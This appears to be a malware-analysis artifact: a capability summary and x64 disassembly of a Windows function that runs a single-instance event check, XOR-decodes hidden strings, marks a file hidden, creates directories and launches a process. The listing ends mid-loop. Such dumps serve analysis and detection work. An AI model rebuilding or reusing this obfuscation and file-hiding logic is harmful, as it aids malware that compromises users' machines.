Function at 0x140017010
Capabilities:
Check if file exists
Create directory
Create process on windows
Encode data using xor
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x520]
sub rsp, 0x620
mov rax, qword [0x1400660c0]
xor rax, rsp
mov qword [rbp + 0x510], rax
xor r13d, r13d
mov dword [rsp + 0x50], r13d
call fcn.14001bd40
lea r9, str.z1T9vg381GNzm5iom2qF0IvL8
xor r8d, r8d
lea edx, [r13 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r12, rax
test rax, rax
je 0x140018c51
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140017092
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140018c4f
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r13
mov qword [rbp + 0x508], r13
lea rdx, str.____._______________________________________________________________________________________________________._____________________________________________________________________________________________________________________________________________________________________________________________.________________________________________________.____________________________________________________________________________________________________________________________________________________________.________.________________________________________________________________._________________________.____________________________________________________________________________________________________________________________________________________________.____________________________________________________________________________________________________________________________._________________________________________________________________________________.__.__________________________________________________________________________________________________________________________.___________________________________________________________________________________________________________________________________________________________________________._________________________________._________________________________________.____________________________________________________________________________________________________________._______________________________________________________________________________________________.__._______________________________________________________________________________________________________________________________________________________._______________________________________________________________________________________________________________________________________________________________________._______________________________________________________________________________________________.________________________________.___________________________________________________________________________________________________________________________________________________________________________________________________._______________________________________________________________________________________.__._________________
mov r15, 0xffffffffffffffff
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], r13b
jne 0x1400170c0
lea rcx, [rbp + 0x4f0]
call fcn.140002eb0
nop
call fcn.140018db0
mov r9, rax
cmp byte [rax + 0x53], 0
je 0x140017112
mov rdx, r13
movabs r8, 0xf165653785232bf3
movzx ecx, dl
and cl, 7
shl cl, 3
mov rax, r8
shr rax, cl
xor byte [rdx + r9], al
inc rdx
cmp rdx, 0x53
jb 0x1400170f1
mov byte [r9 + 0x53], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], r13
mov qword [rbp + 0x2b8], r13
mov r8, r15
nop dword [rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140017130
mov rdx, r9
lea rcx, [rbp + 0x2a0]
call fcn.140002eb0
nop
call fcn.140018eb0
mov rcx, rax
call fcn.14001b1f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x410], xmm0
mov qword [rbp + 0x420], r13
mov qword [rbp + 0x428], r13
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140017172
mov rdx, rcx
lea rcx, [rbp + 0x410]
call fcn.140002eb0
nop
call fcn.140018fa0
mov rcx, rax
call fcn.14001b0f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
mov qword [rbp + 0x440], r13
mov qword [rbp + 0x448], r13
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1400171b4
mov rdx, rcx
lea rcx, [rbp + 0x430]
call fcn.140002eb0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x450], xmm0
movups xmmword [rbp + 0x460], xmm0
movups xmmword [rbp + 0x470], xmm0
movups xmmword [rbp + 0x480], xmm0
movups xmmword [rbp + 0x490], xmm0
movups xmmword [rbp + 0x4a0], xmm0
movups xmmword [rbp + 0x4b0], xmm0
movups xmmword [rbp + 0x4c0], xmm0
movups xmmword [rbp + 0x4d0], xmm0
mov qword [rbp + 0x4e0], rax
lea rcx, [rbp + 0x450]
call fcn.140002820
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x450], rax
mov byte [rbp + 0x4cc], 0
mov byte [rbp + 0x4c1], 0
lea rax, [rbp + 0x458]
mov qword [rbp + 0x468], rax
lea rax, [rbp + 0x460]
mov qword [rbp + 0x470], rax
lea rax, [rbp + 0x478]
mov qword [rbp + 0x488], rax
lea rax, [rbp + 0x480]
mov qword [rbp + 0x490], rax
lea rax, [rbp + 0x498]
mov qword [rbp + 0x4a0], rax
lea rax, [rbp + 0x49c]
mov qword [rbp + 0x4a8], rax
mov qword [rbp + 0x460], r13
mov qword [rbp + 0x480], r13
mov qword [rbp + 0x498], r13
mov qword [rbp + 0x458], r13
mov qword [rbp + 0x478], r13
mov qword [rbp + 0x4d0], r13
mov rax, qword [0x140068c00]
mov qword [rbp + 0x4c4], rax
mov qword [rbp + 0x4b8], r13
lea rdx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0xf
cmova rdx, qword [rbp + 0x2a0]
mov edi, 2
mov r8d, edi
lea rcx, [rbp + 0x450]
call fcn.14001b050
lea rbx, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
lea rsi, vtable.std::ios_base.0
cmp qword [rbp + 0x4d0], 0
je 0x140017426
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x400], xmm0
lea rax, [0x140047488]
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x3b8], r13
mov qword [rbp + 0x3c0], r13
mov dword [rbp + 0x3c8], r13d
movdqa xmmword [rbp + 0x3d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3e0], xmm1
movdqa xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], r13
mov byte [rbp + 0x408], 0
mov dword [rsp + 0x50], 1
mov qword [rbp + 0x3b0], rbx
mov dword [rbp + 0x3ac], r13d
xor r8d, r8d
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x3b0]
call fcn.140002b10
nop
lea rdx, [rbp + 0x4f0]
cmp qword [rbp + 0x508], 0xf
cmova rdx, qword [rbp + 0x4f0]
mov r8, qword [rbp + 0x500]
lea rcx, [rbp + 0x3a0]
call fcn.140003480
lea rcx, [rbp + 0x450]
call fcn.14001a870
nop
mov rax, qword [rbp + 0x3a0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x3a0], rbx
mov rax, qword [rbp + 0x3a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x39c], edx
mov qword [rbp + 0x3b0], rsi
lea rcx, [rbp + 0x3b0]
call fcn.14001e344
nop
lea r8, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0xf
cmova r8, qword [rbp + 0x2a0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, r15d
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov rax, rdi
mul rbx
cmovo rax, r15
mov rcx, rax
call fcn.14001ef70
mov rdi, rax
lea r8, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0xf
cmova r8, qword [rbp + 0x2a0]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, r15d
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or eax, 2
mov edx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, rdi
call fcn.14001edc0
movdqa xmm0, xmmword [0x14005d000]
mov dword [rbp + 0x2d0], 0xb124b96b
mov dword [rbp + 0x2d4], 0x6c3f4e25
mov dword [rbp + 0x2d8], 0xb7289f59
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x28d0
mov eax, dword [rcx + rdi]
mov ebx, 0x28e0
test al, 1
jne 0x140017574
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1d], 1
lea rax, [rcx + 0x1c]
lea rdx, [rbp + 0x2dc]
cmp rcx, rdx
ja 0x14001754a
lea rdx, [rbp + 0x2c0]
cmp rax, rdx
jb 0x14001754a
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2d0]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2d8]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0x41
jmp 0x140017567
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2d0]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2d8]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0x41
lea rcx, [0x14003c3d0]
call fcn.14001eed8
nop
lea rcx, [rdi + rbx]
call fcn.140019870
xorps xmm0, xmm0
movups xmmword [rbp + 0x358], xmm0
mov qword [rbp + 0x368], r13
mov qword [rbp + 0x370], r13
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400175a0
mov rdx, rax
lea rcx, [rbp + 0x358]
call fcn.140002eb0
nop
lea rcx, [rbp + 0x358]
mov rbx, qword [rbp + 0x368]
cmp qword [rbp + 0x370], 0xf
jbe 0x1400175de
mov rsi, qword [rbp + 0x358]
add rbx, rsi
jmp 0x1400175e8
add rbx, rcx
lea rsi, [rbp + 0x358]
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov eax, 0xa
movabs r14, 0x7ffffffffffffffe
cmp rsi, rbx
jne 0x140017625
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x238], 7
mov word [rbp + 0x220], r13w
jmp 0x1400176f8
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x230], rdx
mov r8d, 7
mov qword [rbp + 0x238], r8
cmp rdi, r14
ja 0x140018c8d
cmp rdi, r8
jbe 0x1400176a0
or rdi, r8
cmp rdi, r14
jbe 0x14001765d
mov rdi, r14
jmp 0x140017664
cmp rdi, rax
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x50], rdi
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x220]
call fcn.140002e40
lea r8, [rdi - 1]
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x238], r8
mov rdx, qword [rbp + 0x230]
nop word [rax + rax]
lea rcx, [rbp + 0x220]
cmp r8, 7
cmova rcx, qword [rbp + 0x220]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x230]
inc rdx
mov qword [rbp + 0x230], rdx
inc rsi
cmp rsi, rbx
je 0x1400176dc
mov r8, qword [rbp + 0x238]
jmp 0x1400176a0
lea rax, [rbp + 0x220]
cmp qword [rbp + 0x238], 7
cmova rax, qword [rbp + 0x220]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x14005d1c0]
mov dword [rbp + 0x310], 0x5c5d2f97
mov word [rbp + 0x314], 0xc52a
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x29c8
mov eax, dword [rcx + rdi]
mov ebx, 0x2820
test al, 1
jne 0x14001779f
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
lea rdx, [rbp + 0x316]
cmp rcx, rdx
ja 0x140017777
lea rdx, [rbp + 0x300]
cmp rax, rdx
jb 0x140017777
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x310]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x314]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x29
jmp 0x140017792
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x310]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x314]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x29
lea rcx, [0x14003c3a0]
call fcn.14001eed8
nop
lea rcx, [rdi + rbx]
call fcn.140019800
xorps xmm0, xmm0
movups xmmword [rbp + 0x338], xmm0
mov qword [rbp + 0x348], r13
mov qword [rbp + 0x350], r13
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1400177c3
mov rdx, rax
lea rcx, [rbp + 0x338]
call fcn.140002eb0
nop
lea rcx, [rbp + 0x338]
mov rbx, qword [rbp + 0x348]
cmp qword [rbp + 0x350], 0xf
jbe 0x140017801
mov rsi, qword [rbp + 0x338]
add rbx, rsi
jmp 0x14001780b
add rbx, rcx
lea rsi, [rbp + 0x338]
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
cmp rsi, rbx
jne 0x140017839
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x218], 7
mov word [rbp + 0x200], r13w
jmp 0x140017908
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x210], rdx
mov r8d, 7
mov qword [rbp + 0x218], r8
cmp rdi, r14
ja 0x140018c93
cmp rdi, r8
jbe 0x1400178b0
or rdi, r8
cmp rdi, r14
jbe 0x140017871
mov rdi, r14
jmp 0x14001787e
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x50], rdi
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x200]
call fcn.140002e40
lea r8, [rdi - 1]
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x218], r8
mov rdx, qword [rbp + 0x210]
lea rcx, [rbp + 0x200]
cmp r8, 7
cmova rcx, qword [rbp + 0x200]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x210]
inc rdx
mov qword [rbp + 0x210], rdx
inc rsi
cmp rsi, rbx
je 0x1400178ec
mov r8, qword [rbp + 0x218]
jmp 0x1400178b0
lea rax, [rbp + 0x200]
cmp qword [rbp + 0x218], 7
cmova rax, qword [rbp + 0x200]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x14005d020]
mov dword [rbp + 0x250], 0x6f4a6bd1
mov dword [rbp + 0x254], 0x6a17858a
mov dword [rbp + 0x258], 0x684b5aeb
mov word [rbp + 0x25c], 0xe98e
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x28dc
mov eax, dword [rcx + rdi]
mov ebx, 0x29a8
test al, 1
jne 0x1400179d9
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rbp + 0x25d]
cmp rcx, rdx
ja 0x1400179a8
lea rdx, [rbp + 0x240]
cmp rax, rdx
jb 0x1400179a8
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x250]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x258]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x25c]
mov word [rcx + 0x1c], ax
jmp 0x1400179cc
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x250]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x258]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x25c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14003c370]
call fcn.14001eed8
nop
lea rcx, [rdi + rbx]
call fcn.140019770
xorps xmm0, xmm0
movups xmmword [rbp + 0x318], xmm0
mov qword [rbp + 0x328], r13
mov qword [rbp + 0x330], r13
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140017a00
mov rdx, rax
lea rcx, [rbp + 0x318]
call fcn.140002eb0
nop
lea rcx, [rbp + 0x318]
mov rbx, qword [rbp + 0x328]
cmp qword [rbp + 0x330], 0xf
jbe 0x140017a3e
mov rsi, qword [rbp + 0x318]
add rbx, rsi
jmp 0x140017a48
add rbx, rcx
lea rsi, [rbp + 0x318]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
cmp rsi, rbx
jne 0x140017a76
mov qword [rbp + 0x1f0], r13
mov qword [rbp + 0x1f8], 7
mov word [rbp + 0x1e0], r13w
jmp 0x140017b48
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x1f0], rdx
mov r8d, 7
mov qword [rbp + 0x1f8], r8
cmp rdi, r14
ja 0x140018c99
cmp rdi, r8
jbe 0x140017af0
or rdi, r8
cmp rdi, r14
jbe 0x140017aae
mov rdi, r14
jmp 0x140017abb
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x50], rdi
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1e0]
call fcn.140002e40
lea r8, [rdi - 1]
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1f8], r8
mov rdx, qword [rbp + 0x1f0]
nop dword [rax]
lea rcx, [rbp + 0x1e0]
cmp r8, 7
cmova rcx, qword [rbp + 0x1e0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x1f0]
inc rdx
mov qword [rbp + 0x1f0], rdx
inc rsi
cmp rsi, rbx
je 0x140017b2c
mov r8, qword [rbp + 0x1f8]
jmp 0x140017af0
lea rax, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 7
cmova rax, qword [rbp + 0x1e0]
mov word [rax + rdx*2], r13w
lea rcx, [rbp + 0x220]
cmp qword [rbp + 0x238], 7
cmova rcx, qword [rbp + 0x220]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140017b6e
test al, 0x10
jne 0x140017bc2
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x218], 7
cmova rcx, qword [rbp + 0x200]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140017b94
test al, 0x10
jne 0x140017bc2
lea rcx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 7
cmova rcx, qword [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140017f82
test al, 0x10
je 0x140017f82
call fcn.140019080
mov rcx, rax
call fcn.140019640
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
mov qword [rbp + 0x290], r13
mov qword [rbp + 0x298], r13
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140017bf0
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.140002eb0
nop
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x378]
call fcn.14001b320
nop
mov rdx, qword [rbp + 0x298]
cmp rdx, 0xf
jbe 0x140017c66
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017c61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018c9f
call fcn.14001edc0
mov qword [rbp + 0x290], r13
mov qword [rbp + 0x298], 0xf
mov byte [rbp + 0x280], 0
mov rcx, qword [rbp + 0x388]
inc rcx
mov eax, 2
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.14001ef70
mov r15, rax
lea r8, [rbp + 0x378]
cmp qword [rbp + 0x390], 0xf
cmova r8, qword [rbp + 0x378]
mov edx, dword [rbp + 0x388]
inc edx
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
lea r9, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], rax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
mov dword [rbp + 0x3a0], 0x68
mov dword [rbp + 0x3dc], 1
mov word [rbp + 0x3e0], r13w
lea rcx, [rbp + 0x378]
mov rbx, qword [rbp + 0x388]
cmp qword [rbp + 0x390], 0xf
jbe 0x140017d57
mov rsi, qword [rbp + 0x378]
add rbx, rsi
jmp 0x140017d61
add rbx, rcx
lea rsi, [rbp + 0x378]
movups xmmword [rbp + 0x1c0], xmm0
cmp rsi, rbx
jne 0x140017d8d
mov qword [rbp + 0x1d0], r13
mov eax, 7
mov qword [rbp + 0x1d8], rax
mov word [rbp + 0x1c0], r13w
jmp 0x140017e60
mov rax, rbx
sub rax, rsi
mov rdx, r13
mov qword [rbp + 0x1d0], rdx
mov edi, 7
mov qword [rbp + 0x1d8], rdi
cmp rax, r14
ja 0x140018ca5
cmp rax, rdi
jbe 0x140017e01
or rax, rdi
cmp rax, r14
ja 0x140017dcf
mov r14, rax
cmp rax, 0xa
mov eax, 0xa
cmovb r14, rax
lea rdi, [r14 + 1]
mov qword [rsp + 0x50], rdi
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1c0]
call fcn.140002e40
dec rdi
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1d8], rdi
mov rdx, qword [rbp + 0x1d0]
lea rcx, [rbp + 0x1c0]
cmp rdi, 7
cmova rcx, qword [rbp + 0x1c0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x1d0]
inc rdx
mov qword [rbp + 0x1d0], rdx
inc rsi
cmp rsi, rbx
je 0x140017e3d
mov rdi, qword [rbp + 0x1d8]
jmp 0x140017e01
lea rax, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 7
cmova rax, qword [rbp + 0x1c0]
mov word [rax + rdx*2], r13w
mov rax, qword [rbp + 0x1d8]
lea rdx, [rbp + 0x1c0]
cmp rax, 7
cmova rdx, qword [rbp + 0x1c0]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140017ed1
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.14001edc0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 7
jbe 0x140017f1f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018cab
call fcn.14001edc0
mov qword [rbp + 0x1d0], r13
mov qword [rbp + 0x1d8], 7
mov word [rbp + 0x1c0], r13w
mov rdx, qword [rbp + 0x390]
cmp rdx, 0xf
jbe 0x1400187fb
inc rdx
mov rcx, qword [rbp + 0x378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400187f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018c87
jmp 0x1400187f6
movdqa xmm0, xmmword [0x14005cec0]
mov dword [rbp + 0x270], 0x2f022f4e
mov dword [rbp + 0x274], 0x3e3620c1
mov dword [rbp + 0x278], 0x350e3b5e
mov word [rbp + 0x27c], 0x73dc
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2900
mov eax, dword [rcx + rdi]
mov ebx, 0x2908
test al, 1
jne 0x140018053
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rbp + 0x27d]
cmp rcx, rdx
ja 0x140018022
lea rdx, [rbp + 0x260]
cmp rax, rdx
jb 0x140018022
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x270]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x278]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x27c]
mov word [rcx + 0x1c], ax
jmp 0x140018046
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x270]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x278]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x27c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14003c2f0]
call fcn.14001eed8
nop
lea rdx, [rbx + rdi]
cmp byte [rdx + 0x1e], 0
je 0x1400180d8
xor byte [rdx], 0x2b
xor byte [rdx + 1], 0x49
xor byte [rdx + 2], 0x67
xor byte [rdx + 3], 0x41
xor byte [rdx + 4], 0xa5
xor byte [rdx + 5], 0x73
xor byte [rdx + 6], 0x53
xor byte [rdx + 7], 0x5d
xor byte [rdx + 8], 0x2b
xor byte [rdx + 9], 0x49
xor byte [rdx + 0xa], 0x67
xor byte [rdx + 0xb], 0x41
xor byte [rdx + 0xc], 0xa5
xor byte [rdx + 0xd], 0x73
xor byte [rdx + 0xe], 0x53
xor byte [rdx + 0xf], 0x5d
xor byte [rdx + 0x10], 0x2b
xor byte [rdx + 0x11], 0x49
xor byte [rdx + 0x12], 0x67
xor byte [rdx + 0x13], 0x41
xor byte [rdx + 0x14], 0xa5
xor byte [rdx + 0x15], 0x73
xor byte [rdx + 0x16], 0x53
xor byte [rdx + 0x17], 0x5d
xor byte [rdx + 0x18], 0x2b
xor byte [rdx + 0x19], 0x49
xor byte [rdx + 0x1a], 0x67
xor byte [rdx + 0x1b], 0x41
xor byte [rdx + 0x1c], 0xa5
xor byte [rdx + 0x1d], 0x73
mov byte [rdx + 0x1e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
mov qword [rbp + 0x290], r13
mov qword [rbp + 0x298], r13
mov r8, r15
inc r8
cmp byte [rdx + r8], 0
jne 0x1400180f3
lea rcx, [rbp + 0x280]
call fcn.140002eb0
nop
lea r8, [rbp + 0x280]
cmp qword [rbp + 0x298], 0xf
cmova r8, qword [rbp + 0x280]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, r15d
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov esi, 2
mov eax, esi
mul rbx
cmovo rax, r15
mov rcx, rax
call fcn.14001ef70
mov rdi, rax
lea r8, [rbp + 0x280]
cmp qword [rbp + 0x298], 0xf
cmova r8, qword [rbp + 0x280]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, r15d
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14001819c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
call fcn.14001edc0
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x60]
call fcn.14003a990
lea rdx, [rbp + 0x410]
cmp qword [rbp + 0x428], 0xf
cmova rdx, qword [rbp + 0x410]
lea rcx, [rbp - 0x60]
call fcn.14001abd0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rdi
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xb0]
call fcn.14003a990
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0xb0]
call fcn.140019470
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x50], 6
jne 0x140018257
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xc0], 6
jne 0x140018257
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xb0]
call fcn.140019900
lea rcx, [rbp - 0x50]
call fcn.14001a870
mov ebx, 6
test rax, rax
jne 0x140018292
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx - 0x18], 0
cmovne eax, esi
or eax, dword [rbp + rcx - 0x50]
and eax, 0x17
mov dword [rbp + rcx - 0x50], eax
and eax, dword [rbp + rcx - 0x4c]
jne 0x140018cb1
lea rcx, [rbp + 0xb8]
call fcn.14001a870
test rax, rax
jne 0x1400182d8
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0xf8], 0
cmovne ebx, esi
or ebx, dword [rbp + rcx + 0xc0]
and ebx, 0x17
mov dword [rbp + rcx + 0xc0], ebx
and ebx, dword [rbp + rcx + 0xc4]
jne 0x140018d03
call fcn.140019190
mov r9, rax
cmp byte [rax + 0x8e], 0
je 0x14001833f
lea rdx, [rax + 1]
mov r8, r15
sub r8, rax
movabs r10, 0x5feb8129454d8351
nop dword [rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
